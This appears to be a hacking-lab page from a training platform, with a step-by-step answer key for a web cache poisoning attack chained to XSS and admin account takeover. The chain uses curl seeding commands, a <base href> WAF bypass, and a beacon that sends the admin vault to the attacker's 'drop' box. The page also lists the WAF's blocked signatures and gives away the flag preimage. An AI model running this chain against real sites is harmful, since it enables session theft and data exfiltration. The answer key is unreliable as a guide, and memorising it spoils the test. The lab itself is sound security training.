BBLABSBBLABS
LaboratoriosAprender desde 0FuncionesPreciosTestimoniosDetrás de BBLABS
  1. Home
  2. Labs
  3. Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor
Hard45 min

Web Cache Poisoning → XSS con bypass de WAF → ATO one-click del asesor

By @gorka

El portal de suscriptores de **Meridian Press** (grupo editorial ficticio) se sirve detrás de un edge cache. El error handler 404 legacy del origin refleja la cabecera `Referer` sin escapar y el edge cachea esa página keyed solo por el path

$1,100

That's what a company paid for this bug on YesWeHack. Here it is, rebuilt for you to find it yourself.

1.5K views10 completedUpdated Nov 2026
Log in to start

Learn to find this bug

This bug paid $1,100 on YesWeHack.

Create your account and practice real bugs that got paid. Download the environment, find it and learn the exact technique — your path to your first bounty.

650

hunters training

50

labs from real hacks

380

completions

$12,000

paid out for these bugs

40 flags captured this week
Create account
I already have an account

Access to all labs · no commitment · cancel anytime

Hackers who solved it· 8

3nk11
@3nk119 days ago
sharat chandra2
@sharat chandraOct 2026
zuk4r13
@zuk4r1Sep 2026
MA
@maxioliveraSep 2026
clem
@clemSep 2026
vazquezdv182005
@vazquezdv182005Aug 2026
w4tchw0lf
@w4tchw0lfJul 2026
kaneki
@kanekiJul 2026

Objectives

1
Identificar que delante del portal hay un edge cacheante y que su cache key es únicamente el path
2
Descubrir que la página 404 legacy del origin refleja la cabecera `Referer` sin escapar
3
Comprobar que el `Referer` no entra en la cache key (envenenar con un `Referer` y leer ese contenido
4
Sembrar la cache de un path `/subscription/<slug>` con un `Referer` que inyecte ese tag apuntando a tu caja
5
xtraer con ese JS el `flag` de `GET /api/vault` (admin-only) en el contexto del asesor y balizarlo a tu caja (`/collect`); leer la flag en `/collect/log

Information

Platform
YesWeHack
Difficulty
Hard
Duration
45 min
Bounty
$1,100
Completed
10
Creator
gorka@gorka
Collaborators
antoniorivera@antoniorivera
Updated
Nov 2026

Download the environment

Reproduce it and find the bug yourself

Create account

Tools

Burp SuiteNavegador

Prerequisites

  • HTTP
  • XSS
  • Conocimientos Burp Suite

Tags

XSS

Achievement you'll earn

Solve this lab to unlock this shareable achievement

Solve this lab to unlock this shareable achievement

Community writeups

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

  • Target (edge cacheante): http://localhost:2200
  • Tu caja de atacante (drop): http://localhost:2201

Credenciales preseed:

  • attacker (lector de demo, suscriptor): attacker@meridian.local / password123 — a /api/vault recibe 403.
  • advisor (asesor de cuenta, admin, identidad del bot): advisor@meridian.local / random por boot (no necesario; nunca se loguea a mano).
  • otros suscriptores: ver app/server/src/db/seed.ts.

Cadena completa (answer-key)

Este apartado es la solución detallada. Si aún no has intentado el reto, ve primero a CHALLENGE.md.

Paso 1 — Descubrir el edge y su cache key

Toda respuesta del target trae cabeceras de CDN. Pide dos veces el mismo path:

curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age|server-timing|server'
# 1ª → X-Cache: MISS ; Age: 0 ; server-timing: cache;desc="miss" ; Server: meridian-edge
curl -is http://localhost:2200/pricing | grep -iE 'x-cache|age'
# 2ª → X-Cache: HIT ; Age: N

La cache key es solo el path: repite el mismo path con distinta query y sigue devolviendo HIT del contenido original. Las rutas /api/* y los POST no se cachean (X-Cache: BYPASS). TTL 45 s.

Paso 2 — La 404 legacy refleja el Referer sin escapar

Pide una sección inexistente de /subscription/* con un marcador en Referer:

curl -is 'http://localhost:2200/subscription/no-existe-xyz' \
  -H 'Referer: PROBE_meridian_marker' | grep -A1 'Volviste desde'
# → <p class="e404-from">Volviste desde: <span>PROBE_meridian_marker</span></p>

El valor del Referer sale crudo en el <body> (auto-descubrimiento: el marcador aparece literal sin adivinar nada). En view-source de esa 404 también verás:

<script src="/assets/edge-404.js"></script>

Un path root-absoluto (empieza por /): ese es el recurso que un tag de reasignación de base puede reapuntar a otro origin. /assets/edge-404.js existe de verdad en el origin (es un tracker legítimo de páginas no encontradas).

Paso 3 — Referer fuera de la cache key + bypass del WAF

El Referer es un input reflejado que no entra en la cache key. Envenena un path con un Referer y léelo en una request sin él:

# Sembrar
curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
  -H 'Referer: SEED_ABC' >/dev/null
# Leer sin Referer → devuelve el SEED_ABC cacheado con X-Cache: HIT
curl -is 'http://localhost:2200/subscription/mi-slug-de-ataque' | grep -E 'X-Cache|SEED_ABC'

El edge sirve contenido derivado de un Referer que no es el de la request actual → confirmado: el Referer está fuera de la key.

El WAF del edge (403 con página de bloqueo "suspicious markup") bloquea, case-insensitive, estas firmas:

<script        →  bloqueado
onerror=       →  bloqueado (\bon\w+\s*=)
<svg           →  bloqueado
srcdoc         →  bloqueado
javascript:    →  bloqueado
data:          →  bloqueado

Pelear el filtro de frente (doble-encoding, <ScRiPt, null bytes, <img/onerror>) es un decoy: todo eso está cubierto. La blocklist es incompleta: no cubre el tag <base>, que reasigna la base contra la que se resuelven los recursos root-absolutos de la página. Siembra la cache con bytes crudos (no URL-encodeados) apuntando a tu caja en la red docker (drop:2201, que es donde lo resolverá el navegador del bot):

curl -s 'http://localhost:2200/subscription/mi-slug-de-ataque' \
  -H 'Referer: <base href="http://drop:2201/">' >/dev/null
# La 404 envenenada (Referer reflejado con el <base> + <script src="/assets/edge-404.js">)
# queda cacheada bajo /subscription/mi-slug-de-ataque durante 45 s.

Por qué la cache es load-bearing. Un navegador víctima nunca enviaría </> crudos en su propio Referer (los URL-encodea), así que no puede auto-infligirse el payload navegando. El atacante siembra la cache una sola vez con curl (bytes crudos) y los navegadores víctima reciben esos bytes desde la respuesta cacheada, sin volver a tocar el origin. El edge es lo único que puede inyectar bytes que un navegador nunca emitiría. Sin cache no hay víctimas de terceros: sería un XSS reflejado auto-infligido.

Paso 4 — Llevar el payload a la víctima (bot admin) y exfiltrar

En "Mi cuenta" existe la función Compartir con un asesor. Encola una visita del asesor (bot admin, Puppeteer) a una URL del portal:

# Con la sesión del attacker (cookie meridian_session o Bearer):
curl -s 'http://localhost:2200/account/share-with-advisor' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: meridian_session=<tu-jwt>' \
  --data '{"url":"http://localhost:2200/subscription/mi-slug-de-ataque"}'
# → {"ok":true,"ticketId":N,"message":"enlace enviado al asesor #N"}

El bot (ciclo ~8 s) hace login como advisor@meridian.local, inyecta su cookie de sesión en el host del edge y abre la URL a través del edge → recibe la 404 cacheada y envenenada. Su navegador parsea <base href="http://drop:2201/">, resuelve /assets/edge-404.js contra tu drop (el <base> cambió el origin de resolución) y ejecuta tu exfil.js en el origin de Meridian con la sesión admin del asesor.

Tu exfil.js hace fetch(location.origin + '/api/vault', { credentials:'include' }) (200 solo para admin) y baliza el JSON a http://drop:2201/collect. Lee la captura:

curl -s http://localhost:2201/collect/log | python3 -m json.tool
# o en el navegador:  http://localhost:2201/collect/log

Verás un beacon alive@http://localhost:2200 y luego el cuerpo del vault con el campo flag.

Automatización completa: python3 exploit.py (login → siembra → share → poll /collect/log → flag) y python3 tests/verify.py.

Flag

La flag tiene formato FLAG{md5(<preimage>)}.

Preimagen (en flag/README.md / flag/verify.sh, excluida del Docker context):

edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026

Verifica localmente:

printf '%s' 'edgecachepoison::cache_poison::base_href_waf_bypass::bot_admin_ato::2026' | md5sum
# o
bash flag/verify.sh

La flag vive solo en el vault admin-only del origin; nunca viaja al bundle cliente, ni a env vars expuestas al navegador, ni a respuestas anónimas. Solo se obtiene completando la cadena.

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.

BBLABS LogoBBLABS

Laboratorios de hacking basados en hackeos reales. Aprende practicando sobre entornos vulnerables, con la resolución explicada paso a paso.

Producto

  • Funcionalidades
  • Precios
  • Labs
  • Aprender desde 0
  • Blog
  • Detrás de BBLABS

Legal

  • Términos
  • Privacidad
  • Cookies
  • Entrar
  • Crear cuenta

Para cualquier duda, bug, soporte o sugerencia puedes escribir a team@bblabs.es

© 2026 BBLABS. Todos los derechos reservados.